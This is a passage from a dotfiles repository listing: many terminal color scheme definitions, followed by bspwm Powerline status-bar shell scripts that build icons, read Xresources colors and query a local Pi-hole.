#4a3f4e 9 | #define red #885d50 10 | #define grn #747965 11 | #define ylw #9a8e80 12 | #define blu #4a4e5a 13 | #define mag #76675b 14 | #define cyn #59555c 15 | #define wht #bcb5b5 16 | #define bred #885d50 17 | #define bgrn #747965 18 | #define bylw #9a8e80 19 | #define bblu #4a4e5a 20 | #define bmag #76675b 21 | #define bcyn #59555c 22 | #define bwht #dddada 23 | -------------------------------------------------------------------------------- /.termcolors/forest: -------------------------------------------------------------------------------- 1 | #define bg #0d0f15 2 | #define blk #0D0F15 3 | #define red #254F67 4 | #define bgrn #525770 5 | #define bylw #40648F 6 | #define bblu #7B7085 7 | #define bmag #449EB4 8 | #define bcyn #A2C2BF 9 | #define bwht #EFF7F3 10 | #define grn #525770 11 | #define ylw #40648F 12 | #define blu #7B7085 13 | #define mag #449EB4 14 | #define cyn #A2C2BF 15 | #define wht #EFF7F3 16 | #define bblk #666666 17 | #define bred #254F67 18 | #define fg #6d787b 19 | -------------------------------------------------------------------------------- /.termcolors/fsociety: -------------------------------------------------------------------------------- 1 | ! /----------------------------------\ 2 | ! | synthwave | 3 | ! | originally based on dkegs urban | 4 | ! | https://fsociety.info 2016 | 5 | ! \----------------------------------/ 6 | 7 | #define bg #312e39 8 | #define blk #33303b 9 | #define fg #8996a1 10 | #define bblk #4f4b58 11 | #define red #87404f 12 | #define bred #87404f 13 | #define grn #4c9882 14 | #define bgrn #4c9882 15 | #define ylw #71949a 16 | #define bylw #71949a 17 | #define blu #615772 18 | #define bblu #615772 19 | #define mag #783e57 20 | #define bmag #783e57 21 | #define cyn #554757 22 | #define bcyn #554757 23 | #define wht #c5c8c6 24 | #define bwht #c5c8c6 25 | -------------------------------------------------------------------------------- /.termcolors/fury: -------------------------------------------------------------------------------- 1 | #define blk #3a3a3a 2 | #define bblk #505050 3 | #define red #8c5b3e 4 | #define ylw #917154 5 | #define grn #80764d 6 | #define blu #596875 7 | #define mag #6e464b 8 | #define cyn #495e61 9 | #define wht #bcbcaf 10 | #define bred #9f6744 11 | #define bylw #917963 12 | #define bgrn #80785a 13 | #define bblu #656d75 14 | #define bmag #7b6072 15 | #define bcyn #6e5155 16 | #define bwht #c1c4bc 17 | -------------------------------------------------------------------------------- /.termcolors/gruvbox: -------------------------------------------------------------------------------- 1 | #define blk #282828 2 | #define bblk #928374 3 | 4 | #define red #cc241d 5 | #define bred #fb4934 6 | 7 | #define grn #98971a 8 | #define bgrn #b8bb26 9 | 10 | #define ylw #d79921 11 | #define bylw #fabd2f 12 | 13 | #define blu #458588 14 | #define bblu #83a598 15 | 16 | #define mag #b16286 17 | #define bmag #d3869b 18 | 19 | #define cyn #689d6a 20 | #define bcyn #8ec07c 21 | 22 | #define wht #a89984 23 | #define bwht #ebdbb2 24 | 25 | #define bg #110F10 26 | #define fg #F5F6F6 27 | -------------------------------------------------------------------------------- /.termcolors/hue.X: -------------------------------------------------------------------------------- 1 | #define bg #1d1f21 2 | #define fg #ffffff 3 | #define blk #051519 4 | #define bblk #323b3e 5 | #define red #f8818e 6 | #define bred #fb3d66 7 | #define grn #7b9679 8 | #define bgrn #6d8c63 9 | #define ylw #bf946b 10 | #define bylw #e4cd7b 11 | #define blu #8b9eb2 12 | #define bblu #b0ecee 13 | #define mag #796e7f 14 | #define bmag #cdafd9 15 | #define cyn #7b8e93 16 | #define bcyn #556468 17 | #define wht #b3bec1 18 | #define bwht #f7f8f8 19 | -------------------------------------------------------------------------------- /.termcolors/keyload: -------------------------------------------------------------------------------- 1 | #define bg #252a35 2 | #define fg #acadb2 3 | #define blk #252a35 4 | #define bblk #8e8e90 5 | #define red #b0445b 6 | #define ylw #907d77 7 | #define grn #5d7176 8 | #define blu #7e91b1 9 | #define mag #908E98 10 | #define cyn #9195A7 11 | #define wht #aaabb0 12 | #define bred #7c3641 13 | #define bylw #907d77 14 | #define bgrn #5d7176 15 | #define bblu #6e769d 16 | #define bmag #908E98 17 | #define bcyn #9195A7 18 | #define bwht #aaabb0 19 | -------------------------------------------------------------------------------- /.termcolors/lemon: -------------------------------------------------------------------------------- 1 | color_back="#FF1D1F21" # Default background 2 | color_fore="#FFC5C8C6" # Default foreground 3 | color_head="#FFB5BD68" # Background for first element 4 | color_sec_b1="#FF282A2E" # Background for section 1 5 | color_sec_b2="#FF454A4F" # Background for section 2 6 | color_sec_b3="#FF60676E" # Background for section 3 7 | color_icon="#FF979997" # For icons 8 | color_mail="#FFCE935F" # Background color for mail alert 9 | color_chat="#FFCC6666" # Background color for chat alert 10 | color_cpu="#FF5F819D" # Background color for cpu alert 11 | color_net="#FF5E8D87" # Background color for net alert 12 | color_disable="#FF1D1F21" # Foreground for disable elements 13 | color_wsp="#FF8C9440" # Background for selected workspace 14 | -------------------------------------------------------------------------------- /.termcolors/lightblinker: -------------------------------------------------------------------------------- 1 | #define bg #fbf8f8 2 | #define blk #fbf8f8 3 | #define red #99666c 4 | #define bgrn #99666c 5 | #define bylw #99666e 6 | #define bblu #996669 7 | #define bmag #99666c 8 | #define bcyn #99666b 9 | #define bwht #2C2B2B 10 | #define grn #99666c 11 | #define ylw #99666e 12 | #define blu #996669 13 | #define mag #99666c 14 | #define cyn #99666b 15 | #define wht #2C2B2B 16 | #define bblk #7d7c7c 17 | #define bred #99666c 18 | #define fg #c0a79a 19 | -------------------------------------------------------------------------------- /.termcolors/lost.X: -------------------------------------------------------------------------------- 1 | #define bg #1b1224 2 | #define fg #a49ca2 3 | #define blk #1b1224 4 | #define red #34222c 5 | #define grn #2e4046 6 | #define ylw #605856 7 | #define blu #342e46 8 | #define mag #2e3446 9 | #define cyn #402e46 10 | #define wht #776e6b 11 | #define bblk #251931 12 | #define bred #432c3f 13 | #define bgrn #364b52 14 | #define bylw #6a625f 15 | #define bblu #3d3652 16 | #define bmag #363d52 17 | #define bcyn #4b3652 18 | #define bwht #817874 19 | -------------------------------------------------------------------------------- /.termcolors/mate.X: -------------------------------------------------------------------------------- 1 | #define bg #263238 2 | #define fg #80cbc4 3 | #define blk #37474f 4 | #define bblk #455a64 5 | #define cyn #3d7066 6 | #define grn #418075 7 | #define bcyn #479186 8 | #define mag #3d6070 9 | #define blu #4b7486 10 | #define bmag #588398 11 | #define red #75447a 12 | #define bred #804a81 13 | #define ylw #925d93 14 | #define bgrn #c8e6c9 15 | #define wht #e8f5e9 16 | #define bblu #b3e5fc 17 | #define bwht #e1f5fe 18 | #define bylw #eeeeee 19 | -------------------------------------------------------------------------------- /.termcolors/nord: -------------------------------------------------------------------------------- 1 | #define nord0 #2E3440 2 | #define nord1 #3B4252 3 | #define nord2 #434C5E 4 | #define nord3 #4C566A 5 | #define nord4 #D8DEE9 6 | #define nord5 #E5E9F0 7 | #define nord6 #ECEFF4 8 | #define nord7 #8FBCBB 9 | #define nord8 #88C0D0 10 | #define nord9 #81A1C1 11 | #define nord10 #5E81AC 12 | #define nord11 #BF616A 13 | #define nord12 #D08770 14 | #define nord13 #EBCB8B 15 | #define nord14 #A3BE8C 16 | #define nord15 #B48EAD 17 | 18 | *.foreground: #c8b49d 19 | *.background: #38302b 20 | 21 | *.color0: nord1 22 | *.color1: nord11 23 | *.color2: nord14 24 | *.color3: nord13 25 | *.color4: nord9 26 | *.color5: nord15 27 | *.color6: nord8 28 | *.color7: nord5 29 | *.color8: nord3 30 | *.color9: nord11 31 | *.color10: nord14 32 | *.color11: nord13 33 | *.color12: nord9 34 | *.color13: nord15 35 | *.color14: nord7 36 | *.color15: nord6 37 | -------------------------------------------------------------------------------- /.termcolors/nordic: -------------------------------------------------------------------------------- 1 | !#define bg #2E3440 2 | #define bg #30343f 3 | #define fg #D8DEE9 4 | #define blk #3B4252 5 | #define bblk #4C566A 6 | #define red #BF616A 7 | #define bred #BF616A 8 | #define grn #A3BE8C 9 | #define bgrn #A3BE8C 10 | #define ylw #EBCB8B 11 | #define bylw #EBCB8B 12 | #define blu #81A1C1 13 | #define bblu #81A1C1 14 | #define mag #B48EAD 15 | #define bmag #B48EAD 16 | #define cyn #88C0D0 17 | #define bcyn #88C0D0 18 | #define wht #E5E9F0 19 | #define bwht #E5E9F0 20 | -------------------------------------------------------------------------------- /.termcolors/paints: -------------------------------------------------------------------------------- 1 | ! -- Title: paints 2 | ! -- Author: dkeg 3 | ! -- Created: 2016 4 | 5 | #define bg #2f2a2a 6 | #define blk #332e2e 7 | #define bblk #433f3f 8 | #define fg #c9c8c8 9 | #define red #854340 10 | #define grn #668c71 11 | #define ylw #b2885d 12 | #define blu #41647b 13 | #define mag #915556 14 | #define cyn #477578 15 | #define wht #c9c8c8 16 | #define bred #854340 17 | #define bgrn #668c71 18 | #define bylw #b2885d 19 | #define bblu #41647b 20 | #define bmag #915556 21 | #define bcyn #477578 22 | #define bwht #c9c8c8 23 | 24 | -------------------------------------------------------------------------------- /.termcolors/parkd: -------------------------------------------------------------------------------- 1 | #define bg #2b2428 2 | #define fg #c2b7aa 3 | #define blk #2d262a 4 | #define bblk #413c40 5 | #define red #89453c 6 | #define grn #59713f 7 | #define ylw #b29d6a 8 | #define blu #464e59 9 | #define mag #614e44 10 | #define cyn #4f545b 11 | #define wht #c2b7aa 12 | #define bred #89453c 13 | #define bgrn #59713f 14 | #define bylw #b29d6a 15 | #define bblu #464e59 16 | #define bmag #614e44 17 | #define bcyn #4f545b 18 | #define bwht #c2b7aa 19 | -------------------------------------------------------------------------------- /.termcolors/shekar: -------------------------------------------------------------------------------- 1 | #define bg #22222f 2 | #define fg #d8dee9 3 | #define blk #22222f 4 | #define bblk #6c757d 5 | #define red #ee7674 6 | #define ylw #E1CF90 7 | #define grn #60d394 8 | #define blu #a0c4ff 9 | #define mag #ffadad 10 | #define cyn #5bc0eb 11 | #define wht #d8dee9 12 | #define bred #ee7674 13 | #define bylw #E1CF90 14 | #define bgrn #60d394 15 | #define bblu #a0c4ff 16 | #define bmag #ffadad 17 | #define bcyn #5bc0eb 18 | #define bwht #d8dee9 19 | 20 | -------------------------------------------------------------------------------- /.termcolors/skyfall: -------------------------------------------------------------------------------- 1 | #define bg #12171b 2 | #define fg #b8a5a8 3 | #define blk #12171b 4 | #define bblk #807375 5 | #define red #704955 6 | #define bred #704955 7 | #define grn #7E615E 8 | #define bgrn #7E615E 9 | #define ylw #795964 10 | #define bylw #795964 11 | #define blu #7F6567 12 | #define bblu #7F6567 13 | #define mag #825058 14 | #define bmag #825058 15 | #define cyn #80615F 16 | #define bcyn #80615F 17 | #define wht #b8a5a8 18 | #define bwht #b8a5a8 19 | -------------------------------------------------------------------------------- /.termcolors/skyfall.X: -------------------------------------------------------------------------------- 1 | #define bg #282F37 2 | #define fg #F1FCF9 3 | #define blk #20262C 4 | #define red #DB86BA 5 | #define grn #74DD91 6 | #define ylw #E49186 7 | #define blu #75DBE1 8 | #define mag #B4A1DB 9 | #define cyn #9EE9EA 10 | #define wht #F1FCF9 11 | #define bblk #465463 12 | #define bred #D04E9D 13 | #define bgrn #4BC66D 14 | #define bylw #DB695B 15 | #define bblu #3DBAC2 16 | #define bmag #825ECE 17 | #define bcyn #62CDCD 18 | #define bwht #E0E5E5 19 | -------------------------------------------------------------------------------- /.termcolors/slate: -------------------------------------------------------------------------------- 1 | ! -- Title: slate 2 | ! -- Author: dkeg 3 | ! -- Created: 2016 4 | 5 | #define bg #3f3f3f 6 | #define blk #242b2c 7 | #define bblk #393f40 8 | #define fg #939381 9 | #define red #674839 10 | #define grn #6e794f 11 | #define ylw #8d8150 12 | #define blu #3b474e 13 | #define mag #554c41 14 | #define cyn #495355 15 | #define wht #939381 16 | #define bred #674839 17 | #define bgrn #6e794f 18 | #define bylw #8d8150 19 | #define bblu #3b474e 20 | #define bmag #554c41 21 | #define bcyn #495355 22 | #define bwht #abab9c 23 | -------------------------------------------------------------------------------- /.termcolors/spire: -------------------------------------------------------------------------------- 1 | #define bg #262f33 2 | #define fg #b5b699 3 | #define blk #273034 4 | #define bblk #464c50 5 | #define red #804f4e 6 | #define grn #68786c 7 | #define ylw #948d65 8 | #define blu #47575f 9 | #define mag #74636a 10 | #define cyn #526562 11 | #define wht #b5b699 12 | #define bred #804f4e 13 | #define bgrn #68786c 14 | #define bylw #948d65 15 | #define bblu #47575f 16 | #define bmag #74636a 17 | #define bcyn #526562 18 | #define bwht #cbcbb7 19 | 20 | -------------------------------------------------------------------------------- /.termcolors/spirl: -------------------------------------------------------------------------------- 1 | #define bg #353234 2 | #define blk #212020 3 | #define red #9E5C64 4 | #define bgrn #CE5363 5 | #define bylw #C77986 6 | #define bblu #C2979A 7 | #define bmag #D5A3A9 8 | #define bcyn #E1CDCF 9 | #define bwht #ebe0e1 10 | #define grn #CE5363 11 | #define ylw #C77986 12 | #define blu #C2979A 13 | #define mag #D5A3A9 14 | #define cyn #E1CDCF 15 | #define wht #ebe0e1 16 | #define bblk #a49c9d 17 | #define bred #9E5C64 18 | #define fg #f7f7f5 19 | -------------------------------------------------------------------------------- /.termcolors/synthwave: -------------------------------------------------------------------------------- 1 | ! /----------------------------------\ 2 | ! | synthwave | 3 | ! | originally based on dkegs urban | 4 | ! | https://fsociety.info 2016 | 5 | ! \----------------------------------/ 6 | 7 | !#define bg #1f1f1f 8 | !#define blk #33303b 9 | !#define fg #c0a79a 10 | !#define bblk #4f4b58 11 | !#define red #87404f 12 | !#define grn #4c9882 13 | !#define ylw #71949a 14 | !#define blu #615772 15 | !#define mag #783e57 16 | !#define cyn #554757 17 | !#define wht #c0a79a 18 | 19 | 20 | #define bg #312e39 21 | #define blk #33303b 22 | !#define fg #c0a79a 23 | #define bblk #4f4b58 24 | #define red #87404f 25 | #define grn #4c9882 26 | #define ylw #71949a 27 | #define blu #615772 28 | #define mag #783e57 29 | #define cyn #554757 30 | #define wht #c0a79a 31 | -------------------------------------------------------------------------------- /.termcolors/think: -------------------------------------------------------------------------------- 1 | #define bg #222222 2 | #define blk #101111 3 | #define fg #c2bfa5 4 | #define bblk #ac7973 5 | #define red #cf5d5e 6 | #define grn #6C5060 7 | #define ylw #6C6C6C 8 | #define blu #9E3E3C 9 | #define mag #cf5d5e 10 | #define cyn #E5655D 11 | #define wht #f6ada5 12 | 13 | #define bred #cf5d5e 14 | #define bgrn #6C5060 15 | #define bylw #6C6C6C 16 | #define bblu #9E3E3C 17 | 18 | #define bmag #cf5d5e 19 | #define bcyn #E5655D 20 | #define bwht #f6ada5 21 | -------------------------------------------------------------------------------- /.termcolors/train: -------------------------------------------------------------------------------- 1 | #define blk #1e1817 2 | #define red #AA4939 3 | #define bgrn #9F9F6B 4 | #define bylw #687887 5 | #define bblu #738C92 6 | #define bmag #9EA4A4 7 | #define bcyn #BDC8BE 8 | #define bwht #e0e1e0 9 | #define grn #9F9F6B 10 | #define ylw #687887 11 | #define blu #738C92 12 | #define mag #9EA4A4 13 | #define cyn #BDC8BE 14 | #define wht #e0e1e0 15 | #define bblk #9c9d9c 16 | #define bred #AA4939 17 | -------------------------------------------------------------------------------- /.termcolors/urban: -------------------------------------------------------------------------------- 1 | #define bg #312e39 2 | #define blk #33303b 3 | #define fg #c0a79a 4 | #define bblk #4f4b58 5 | #define red #87404f 6 | #define grn #74934e 7 | #define ylw #ae835a 8 | #define blu #615772 9 | #define mag #783e57 10 | #define cyn #554757 11 | #define wht #c0a79a 12 | #define bred #87404f 13 | #define bgrn #74934e 14 | #define bylw #ae835a 15 | #define bblu #615772 16 | #define bmag #783e57 17 | #define bcyn #554757 18 | #define bwht #c0a79a 19 | -------------------------------------------------------------------------------- /.termcolors/urbano: -------------------------------------------------------------------------------- 1 | ! -- Title: urban 2 | ! -- Author: dkeg 3 | ! -- Created: 2016 4 | 5 | #define bg #312e39 6 | #define blk #33303b 7 | #define fg #c0a79a 8 | !#2define fg #f2eae4 9 | !#3define fg #8996a1 10 | #define bblk #4f4b58 11 | #define red #87404f 12 | #define grn #74934e 13 | #define ylw #ae835a 14 | #define blu #615772 15 | #define mag #783e57 16 | #define cyn #71949a 17 | #define wht #c0a79a 18 | #define bred #87404f 19 | #define bgrn #74934e 20 | #define bylw #ae835a 21 | #define bblu #615772 22 | #define bmag #783e57 23 | #define bcyn #71949a 24 | #define bwht #c0a79a 25 | 26 | -------------------------------------------------------------------------------- /.termcolors/vans: -------------------------------------------------------------------------------- 1 | !#define bg #20252c 2 | #define bg #2b2c33 3 | #define blk #303139 4 | #define bblk #55565b 5 | #define fg #d9c1a9 6 | #define red #b16c7f 7 | #define grn #92ab75 8 | #define ylw #bdab77 9 | #define blu #485476 10 | #define mag #746081 11 | #define cyn #636f7d 12 | #define wht #d9c1a9 13 | #define bred #b16c7f 14 | #define bgrn #92ab75 15 | #define bylw #e8dfcd 16 | #define bblu #485476 17 | #define bmag #746081 18 | #define bcyn #636f7d 19 | #define bwht #e9dbce 20 | -------------------------------------------------------------------------------- /.termcolors/victory: -------------------------------------------------------------------------------- 1 | ! -- Title: victory 2 | ! -- Author: dkeg 3 | ! -- Created: 2015 4 | ! -- Modified: 2016 5 | 6 | #define bg #2d2d33 7 | #define blk #303036 8 | #define fg #c4c4b5 9 | #define bblk #44444a 10 | #define red #9c6647 11 | #define grn #708684 12 | #define ylw #a29474 13 | #define blu #697284 14 | #define mag #796a70 15 | #define cyn #47676e 16 | #define wht #c4c4b5 17 | #define bred #9c6647 18 | #define bgrn #708684 19 | #define bylw #a29474 20 | #define bblu #697284 21 | #define bmag #796a70 22 | #define bcyn #47676e 23 | #define bwht #c4c4b5 24 | -------------------------------------------------------------------------------- /.termcolors/xresource: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | .... other xresource code goes here 4 | 5 | ! Colors 6 | *background: bg 7 | *foreground: fg 8 | *cursorColor: cyn 9 | 10 | *color0: blk 11 | *color8: bblk 12 | *color1: red 13 | *color9: red 14 | *color2: grn 15 | *color10: grn 16 | *color3: ylw 17 | *color11: ylw 18 | *color4: blu 19 | *color12: blu 20 | *color5: mag 21 | *color13: mag 22 | *color6: cyn 23 | *color14: cyn 24 | *color7: wht 25 | *color15: wht 26 | 27 | ! === gruvbox color scheme === 28 | !*background: #1f1f1f 29 | !*foreground: #839496 30 | 31 | ! Black + DarkGrey 32 | !*color0: #000000 33 | !*color8: #252525 34 | 35 | ! DarkRed + Red 36 | !*color1: #BA5E57 37 | !*color9: #bf3f34 38 | 39 | ! DarkGreen + Green 40 | !*color2: #98971a 41 | !*color10: #b8bb26 42 | 43 | ! DarkYellow + Yellow 44 | !*color3: #d79921 45 | !*color11: #fabd2f 46 | 47 | ! DarkBlue + Blue 48 | !*color4: #3b4555 49 | !*color12: #83a598 50 | 51 | ! DarkMagenta + Magenta 52 | !*color5: #b16286 53 | !*color13: #d3869b 54 | 55 | ! DarkCyan + Cyan 56 | !*color6: #689d6a 57 | !*color14: #8ec07c 58 | 59 | ! LightGrey + White 60 | !*color7: #a89984 61 | !*color15: #ebdbb2 62 | 63 | !*background: bg 64 | !*foreground: fg 65 | !=========================== 66 | 67 | 68 | !*color0: #33303b 69 | !*color8: #4f4b58 70 | !*color1: #87404f 71 | !*color9: #87404f 72 | !*color2: #74934e 73 | !*color10: #74934e 74 | !*color3: #ae835a 75 | !*color11: #ae835a 76 | !*color4: #615772 77 | !*color12: #615772 78 | !*color5: #783e57 79 | !*color13: #783e57 80 | !*color6: #554757 81 | !*color14: #554757 82 | !*color7: #c0a79a 83 | !*color15: #c0a79a 84 | 85 | !*background: #2b2c33 86 | !*background: #232323 87 | 88 | !*foreground: #d9c1a9 89 | !*foreground: #f7f7f5 90 | !=========================== 91 | 92 | !========actual============= 93 | !*background: #1F201D 94 | !*color0: #1F201D 95 | !*color1: #D34834 96 | !*color10: #9A6B55 97 | !*color11: #EB664D 98 | !*color12: #6C887B 99 | !*color13: #E69D5D 100 | !*color14: #D2AE5A 101 | !*color15: #E1D396 102 | !*color2: #9A6B55 103 | !*color3: #EB664D 104 | !*color4: #6C887B 105 | !*color5: #E69D5D 106 | !*color6: #D2AE5A 107 | !*color7: #E1D396 108 | !*color8: #666666 109 | !*color9: #D34834 110 | !*cursor: #E1D396 111 | !*foreground: #E1D396 112 | -------------------------------------------------------------------------------- /.termcolors/zen: -------------------------------------------------------------------------------- 1 | #define blk #4d4d4d 2 | #define red #9E5C64 3 | #define bgrn #c3bf9f 4 | #define bylw #e0cf9f 5 | #define bblu #94bff3 6 | #define bmag #CE5363 7 | #define bcyn #93e0e3 8 | #define bwht #ffffff 9 | #define grn #60b48a 10 | #define ylw #f0dfaf 11 | #define blu #506070 12 | #define mag #CE5363 13 | #define cyn #8cd0d3 14 | #define wht #dcdccc 15 | #define bblk #709080 16 | #define bred #dca3a3 17 | #define bg #3f3f3f 18 | #define fg #dcdccc 19 | -------------------------------------------------------------------------------- /.termcolors/zenburn: -------------------------------------------------------------------------------- 1 | #define blk #505050 2 | #define red #74B7C3 3 | #define bgrn #DBD1AE 4 | #define bylw #F2E4BE 5 | #define bblu #D3A8D0 6 | #define bmag #E4A3CE 7 | #define bcyn #A3CDCF 8 | #define bwht #E3E2D5 9 | #define grn #DBD1AE 10 | #define ylw #F2E4BE 11 | #define blu #D3A8D0 12 | #define mag #E4A3CE 13 | #define cyn #A3CDCF 14 | #define wht #E3E2D5 15 | #define bblk #8a8a8a 16 | #define bred #74B7C3 17 | #define bg #212020 18 | #define fg #c0a79a 19 | -------------------------------------------------------------------------------- /.themes/bspwm/Powerline/config_bar: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | 3 | HEIGHT=24 4 | 5 | # icons 6 | GENTOO="\uf2bd" 7 | PI="\uf315" 8 | ARCH="\uf303" 9 | CSTART="\ue00d" 10 | CSOUND="\ue04d" 11 | CVOLUME="\ue204" 12 | CMAIL="\ue070" 13 | CCPU="\ufc06" 14 | CDISK="\uf7c9" 15 | CRAM="\uf85a" 16 | CNET100="\ue04b" 17 | CNET50="\ue04a" 18 | CNET20="\ue049" 19 | CWIFI="\uf1eb" 20 | WIFI_STR="\ue02d" 21 | #CWS="\uf10c" 22 | CWS="+" 23 | CIP=" ++ " 24 | TOR="\ufa29" 25 | # Time 26 | CTIME="\ue018" 27 | CCAL="\uf5ef" 28 | CPACK="\ue1b7" 29 | CCLOCK="\ue016" 30 | # panel center 31 | CNONE='+' 32 | #CNONE="\ue023" 33 | 34 | #CFULL="\ue0c1" 35 | CFULL="\ue022" 36 | 37 | # icons panel music 38 | CPREV="\ue055" 39 | CNEXT="\ue05b" 40 | CPLAY="\ue058" 41 | CPAUS="\ue059" 42 | # icon volume 43 | VPLUS="\ue06c" 44 | VMINUS="\ue06d" 45 | # battery or AC 46 | BAT100="\uf578" 47 | BAT70="\uf57f" 48 | BAT50="\uf57d" 49 | BAT30="\uf57b" 50 | BAT15="\uf57a" 51 | BAT7="\uf579" 52 | BAT5="\uf58d" 53 | CAC="\uf583" 54 | BATC100="\uf584" 55 | BATC70="\uf589" 56 | BATC50="\uf587" 57 | BATC30="\uf585" 58 | BATC15="\u" 59 | BATC7="\u" 60 | 61 | ## programs 62 | URXVT="\uf120" 63 | XTERM="\uf120" 64 | CHROME="\uf268" 65 | DESK="\uf108" 66 | FILEM="\uf07b" 67 | 68 | # $(pAction ${fg} ${bg} ${${command} ${whatprinôt}) 69 | pAction() { 70 | echo "%{F$1}%{B$2}%{A:$3:}$(printf '%b' $4)%{A}%{B-}%{F-}" 71 | } 72 | 73 | # $(pActionUnderline ${fg} ${bg} ${underline} ${${command} ${whatprint}) 74 | pActionUnderline() { 75 | echo "%{F$1}%{B$2}%{U$3}%{+u}%{A:$4:}$(printf '%b' $5)%{A}%{-u}%{B-}%{F-}" 76 | } 77 | 78 | # $(pIcon ${color} ${icon}) 79 | pIcon() { 80 | echo "%{F$1}$(printf '%b'$2)" 81 | } 82 | 83 | # $(pIconUnderline ${color} ${color_underline} ${icon}) 84 | pIconUnderline() { 85 | echo "%{F$1}%{U$2}%{+u}$(printf '%b' $3)%{-u}%{F-}" 86 | } 87 | 88 | # $(pText ${color} ${text}) 89 | pText() { 90 | echo "%{F$1}$2%{F-}" 91 | } 92 | 93 | # $(pTextUnderline ${color} ${color_underline} ${text}) 94 | pTextUnderline() { 95 | echo "%{F$1}%{U$2}%{+u}$3%{-u}%{F-}" 96 | } 97 | 98 | getXresColor() { 99 | echo "$( xrdb -query | grep $1: | grep -oE '#[a-zA-Z0-9]{6}' | cut -c 1- | sed -e 's/#/#FF/g' )" 100 | } 101 | 102 | LINUX="\uf17c" 103 | TERM="\uf120" 104 | BROW="\uf7ae" 105 | DESK="\uf108" 106 | NAUT="\uf488" 107 | VIM="\ue62b" 108 | 109 | GetIcon () { 110 | wnd_focus=$(xdotool getwindowfocus) 111 | wnd_title=$(xprop -id $wnd_focus WM_CLASS | grep -Po "\".*?\"" | head -1 | grep -Po "[^\"]*" ) 112 | if [[ "$wnd_title" == '' ]]; then 113 | wnd_title='desktop' 114 | fi 115 | if [[ "$wnd_title" == 'urxvt' ]]; then 116 | echo $(printf '%b'$TERM) 117 | elif [[ "$wnd_title" == 'xterm' ]]; then 118 | echo $(printf '%b'$TERM) 119 | elif [[ "$wnd_title" == 'chromium' ]]; then 120 | echo $(printf '%b'$BROW) 121 | elif [[ "$wnd_title" == 'brave-browser' ]]; then 122 | echo $(printf '%b'$BROW) 123 | elif [[ "$wnd_title" == 'firefox' ]]; then 124 | echo $(printf '%b'$BROW) 125 | elif [[ "$wnd_title" == 'desktop' ]]; then 126 | echo $(printf '%b'$DESK) 127 | elif [[ "$wnd_title" == 'org.gnome.Nautilus' ]]; then 128 | echo $(printf '%b'$NAUT) 129 | elif [[ "$wnd_title" == 'vim' ]]; then 130 | echo $(printf '%b'$VIM) 131 | elif [[ "$wnd_title" == 'Telegram' ]]; then 132 | echo $(printf '%b'$LINUX) 133 | else 134 | echo $(printf '%b'$LINUX) 135 | fi 136 | } 137 | 138 | # colors 139 | BG="$(getXresColor background)" 140 | fg="$(getXresColor foreground)" #fix for panel_bar 141 | FG="$(getXresColor foreground)" 142 | BLACK="$(getXresColor color0)" 143 | BLACK2="$(getXresColor color8)" 144 | RED="$(getXresColor color1)" 145 | RED2="$(getXresColor color9)" 146 | GREEN="$(getXresColor color2)" 147 | GREEN2="$(getXresColor color10)" 148 | YELLOW="$(getXresColor color3)" 149 | YELLOW2="$(getXresColor color11)" 150 | BLUE="$(getXresColor color4)" 151 | BLUE2="$(getXresColor color12)" 152 | MAGENTA="$(getXresColor color5)" 153 | MAGENTA2="$(getXresColor color13)" 154 | #MAGENTA="$(getXresColor color1)" 155 | #MAGENTA2="$(getXresColor color9)" 156 | CYAN="$(getXresColor color6)" 157 | CYAN2="$(getXresColor color14)" 158 | WHITE="$(getXresColor color7)" 159 | WHITE2="$(getXresColor color15)" 160 | 161 | hrBytes() { 162 | awk '{ 163 | num=$1; 164 | if(num==0) { 165 | print "0 B" 166 | } else { 167 | xxx=(num<0?-num:num) 168 | sss=(num<0?-1:1) 169 | split("B KB MB GB TB PB",type) 170 | for(i=5;yyy < 1;i--) { 171 | yyy=xxx / (2^(10*i)) 172 | } 173 | printf "%.0f " type[i+2], yyy*sss 174 | } 175 | }' <<< "$1"; 176 | } 177 | 178 | hrSecs() { 179 | day=$(( $1/60/60/24 )); hrs=$(( $1/3600%24 )) 180 | mins=$(( ($1%3600)/60 )); secs=$(( $1%60 )) 181 | [[ "$day" -ge "2" ]] && plu="s" 182 | [[ "$day" -ge "1" ]] && days="$day day${plu}, " || days="" 183 | printf "%s%02d:%02d:%02d\\n" "$days" "$hrs" "$mins" "$secs" 184 | } 185 | 186 | disconnected="睊" 187 | disconnected2="睊" 188 | wireless_connected="直" 189 | ethernet_connected="囹" 190 | 191 | RAMN="\f85a" 192 | -------------------------------------------------------------------------------- /.themes/bspwm/Powerline/panel: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | 3 | FONT="Inconsolata for Powerline:style=Regular:pixelsize=12:antialias=true:hinting=1:letterSpace=-5:dpi=96" 4 | #FONT="Iosevka:style=Regular:pixelsize=11:antialias=true:hinting=1:letterSpace=-5:dpi=96" 5 | ICONS="Inconsolata Nerd Font:style=Regular:pixelsize=12,3:letterSpace=-8:lineSpace=-2:dpi=96" 6 | # 7 | BARHEIGHT=13 8 | EDGEWIDTH=0 9 | UPPERWIDTH=0 10 | UNDERLINE_WIDTH=2 11 | 12 | # Don't touch. Edit width/height above instead. 13 | SCREENHEIGHT=$(xrandr -q | grep Screen | awk '{print $10}' | sed s/,//) 14 | SCREENWIDTH=$(xrandr -q | grep Screen | awk '{print $8}') 15 | BARWIDTH=$(($SCREENWIDTH - $(($EDGEWIDTH * 2)))) 16 | 17 | #source $(dirname $0)/panel_colors 18 | source $(dirname $0)/config_bar 19 | source $(dirname $0)/powerline.conf 20 | 21 | #pihole remove 22 | pihole_s=$(ssh pi@192.168.0.21 pihole status | grep Pi-hole | awk '{print $5}') 23 | ads_b=$(ssh pi@192.168.0.21 pihole -c -j | jq | grep ads_blocked | awk '{print $2}' | tr -d ,) 24 | 25 | #if xdo id -a "$PANEL_WM_NAME" > /dev/null ; then 26 | # printf "%s\n" "The panel is already running." >&2 27 | # exit 1 28 | #fi 29 | 30 | trap 'trap - TERM; kill 0' INT TERM QUIT EXIT 31 | 32 | [ -e "$PANEL_FIFO" ] && rm "$PANEL_FIFO" 33 | mkfifo "$PANEL_FIFO" 34 | 35 | bspc config top_padding $PANEL_HEIGHT 36 | bspc subscribe |\ 37 | grep -oE "[Mm][^TM]*[TML]" --line-buffered |\ 38 | while read line; do echo W$line; done > "$PANEL_FIFO" & 39 | 40 | { 41 | 42 | ## start left section 43 | host() { 44 | local ICON=$(pIcon ${BG} ${ARCH}) 45 | local CMD="$(uname -n)" 46 | SYS_UPTIME=$(hrSecs "$(cut -d. -f1 /proc/uptime)") 47 | local 